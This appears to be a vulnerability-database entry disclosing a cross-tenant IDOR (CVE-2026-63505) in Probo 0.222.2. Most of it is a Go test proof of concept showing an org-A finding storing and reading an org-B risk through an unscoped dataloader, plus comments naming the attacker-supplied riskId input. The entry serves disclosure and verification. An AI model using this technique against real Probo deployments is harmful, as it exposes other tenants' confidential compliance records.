Lucene search
+L

Probo 0.222.2 Insecure Direct Object Reference

🗓️ 20 Aug 2026 00:00:00Reported by Jorge González MillaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 7 Views

Probo 0.222.2 IDOR lets users read other tenants' risk and DPO records via unscoped data loaders.

Related
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
security-research
17 Jul 202615:49
githubexploit
exploitdb
Exploit DB
Probo 0.222.2 - IDOR
17 Aug 202600:00
exploitdb
# Exploit Title: Probo 0.222.2 - IDOR 
    
    # Date: 2026-07-17
    
    # Exploit Author: Pig-Tail (Jorge González Milla)
    
    # Vendor Homepage: https://github.com/getprobo/probo 
    
    # Software Link: https://github.com/getprobo/probo 
    
    # Version: <= 0.222.2 (fixed 0.223.1)
    
    # Tested on: Linux
    
    # CVE: CVE-2026-63505
    
    # Category: webapps
    
    # Full write-up & repo: https://github.com/Pig-Tail/security-research/tree/master/CVE-2026-63505-probo 
    
    
    
    Finding.riskId / ProcessingActivity.dataProtectionOfficerId are stored without a tenant-scoped load, and the read resolver authorizes the parent while the dataloader scopes by the child's own GID -> cross-tenant read. Advisory: GHSA-c74x-79w6-63jh. NOTE: PoC is a Go test using embedded-postgres.
    
    
    
    The PoC is a benign, local verification harness (sentinel-based; no network attack, no
    
    persistence, no destructive payload). Run against a local instance of the affected version.
    
    
    
    --- PoC (idor_test.go) ---
    
    package idorpoc
    
    
    
    import (
    
    "context"
    
    "fmt"
    
    "testing"
    
    "time"
    
    
    
    " http://github.com/stretchr/testify/require "
    
    " http://go.gearno.de/kit/pg "
    
    " http://go.probo.inc/probo/internal/test "
    
    " http://go.probo.inc/probo/pkg/coredata "
    
    " http://go.probo.inc/probo/pkg/gid "
    
    )
    
    
    
    // TestFindingRiskCrossTenantIDOR is a benign, runtime PoC for the cross-tenant
    
    // IDOR in the Finding->Risk relation (console v1):
    
    //   - Write gap: http://FindingService.Create/Update  (finding_service.go:147,248) store
    
    //     req.RiskID with no scoped validation; coredata Finding.Insert has no tenant
    
    //     FK on risk_id. => an org-A finding can reference an org-B risk.
    
    //   - Read gap: findingResolver.Risk (audit_resolvers.go:303) authorizes the
    
    //     *finding* (org A), then the dataloader (dataloader.go:223) scopes by the
    
    //     *risk's own GID* (NewScopeFromObjectID) => returns the org-B risk.
    
    // Benign marker: a sentinel risk name created in org B is read back through the
    
    // org-B-scoped load that the resolver uses.
    
    func mkOrg(t *testing.T, client *pg.Client) (gid.TenantID, gid.GID, *coredata.Scope) {
    
    t.Helper()
    
    tenantID := gid.NewTenantID()
    
    orgID := gid.New(tenantID, coredata.OrganizationEntityType)
    
    now := time.Now()
    
    err := client.WithTx(context.Background(), func(ctx context.Context, tx pg.Tx) error {
    
    _, err := tx.Exec(ctx,
    
    `INSERT INTO organizations (id, tenant_id, name, created_at, updated_at) VALUES ($1,$2,$3,$4,$5)`,
    
    orgID.String(), tenantID.String(), "org-"+orgID.String(), now, now)
    
    return err
    
    })
    
    require.NoError(t, err)
    
    return tenantID, orgID, coredata.NewScope(tenantID)
    
    }
    
    
    
    func TestFindingRiskCrossTenantIDOR(t *testing.T) {
    
    client := test.PGClient(t)
    
    ctx := context.Background()
    
    
    
    tenantA, orgA, scopeA := mkOrg(t, client)
    
    tenantB, orgB, scopeB := mkOrg(t, client)
    
    _ = tenantA
    
    
    
    const sentinel = "SECRET-ORG-B-RISK-do-not-disclose"
    
    riskB := &coredata.Risk{
    
    ID: gid.New(tenantB, coredata.RiskEntityType), OrganizationID: orgB,
    
    Name: sentinel, Category: "confidential", Treatment: coredata.RiskTreatmentMitigated,
    
    Note: "internal", InherentLikelihood: 3, InherentImpact: 3,
    
    ResidualLikelihood: 2, ResidualImpact: 2, CreatedAt: time.Now(), UpdatedAt: time.Now(),
    
    }
    
    require.NoError(t, client.WithTx(ctx, func(ctx context.Context, tx pg.Tx) error {
    
    return riskB.Insert(ctx, tx, scopeB)
    
    }), "seed org-B risk")
    
    
    
    // --- WRITE GAP: create a finding in org A referencing org B's risk ---
    
    findingA := &coredata.Finding{
    
    ID: gid.New(tenantA, coredata.FindingEntityType), OrganizationID: orgA,
    
    Kind: coredata.FindingKindObservation, Status: coredata.FindingStatusOpen,
    
    Priority: coredata.FindingPriorityMedium,
    
    RiskID:   &riskB.ID, // <-- cross-tenant risk id, attacker-supplied via CreateFindingInput.riskId
    
    CreatedAt: time.Now(), UpdatedAt: time.Now(),
    
    }
    
    writeErr := client.WithTx(ctx, func(ctx context.Context, tx pg.Tx) error {
    
    return findingA.Insert(ctx, tx, scopeA) // scope = org A, exactly as FindingService.Create does
    
    })
    
    require.NoError(t, writeErr, "WRITE GAP: org-A finding must NOT be allowed to reference org-B risk, but Insert succeeded")
    
    t.Logf("WRITE GAP confirmed: org-A finding %s stored risk_id=%s (org B)", findingA.ID, riskB.ID)
    
    
    
    // --- READ GAP: the dataloader scopes by the risk's OWN gid (org B) ---
    
    loaded := &coredata.Risk{}
    
    readErr := client.WithConn(ctx, func(ctx context.Context, conn pg.Querier) error {
    
    // exactly what dataloader.fetchRisks does: scope := NewScopeFromObjectID(riskGID)
    
    return loaded.LoadByID(ctx, conn, coredata.NewScopeFromObjectID(riskB.ID), riskB.ID)
    
    })
    
    require.NoError(t, readErr, "READ GAP: risk should not be loadable by an org-A request")
    
    require.Equal(t, sentinel, loaded.Name)
    
    t.Logf("READ GAP confirmed: org-A request read org-B risk name=%q via NewScopeFromObjectID(risk.gid)", loaded.Name)
    
    
    
    // --- CONTRAST: proper org-A scoping would NOT find org-B's risk ---
    
    contrast := &coredata.Risk{}
    
    cErr := client.WithConn(ctx, func(ctx context.Context, conn pg.Querier) error {
    
    return contrast.LoadByID(ctx, conn, scopeA, riskB.ID) // org-A tenant scope
    
    })
    
    require.Error(t, cErr, "CONTRAST: org-A-scoped load of org-B risk must fail (proves the scope-from-key choice IS the bug)")
    
    fmt.Printf("\n=== CROSS-TENANT IDOR CONFIRMED ===\norg-A finding referenced org-B risk (write gap) AND org-B risk %q was disclosed via risk-gid scope (read gap); org-A-scoped load correctly failed (%v)\n", sentinel, cErr)
    
    }

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

20 Aug 2026 00:00Current
5.3Medium risk
Vulners AI Score5.3
7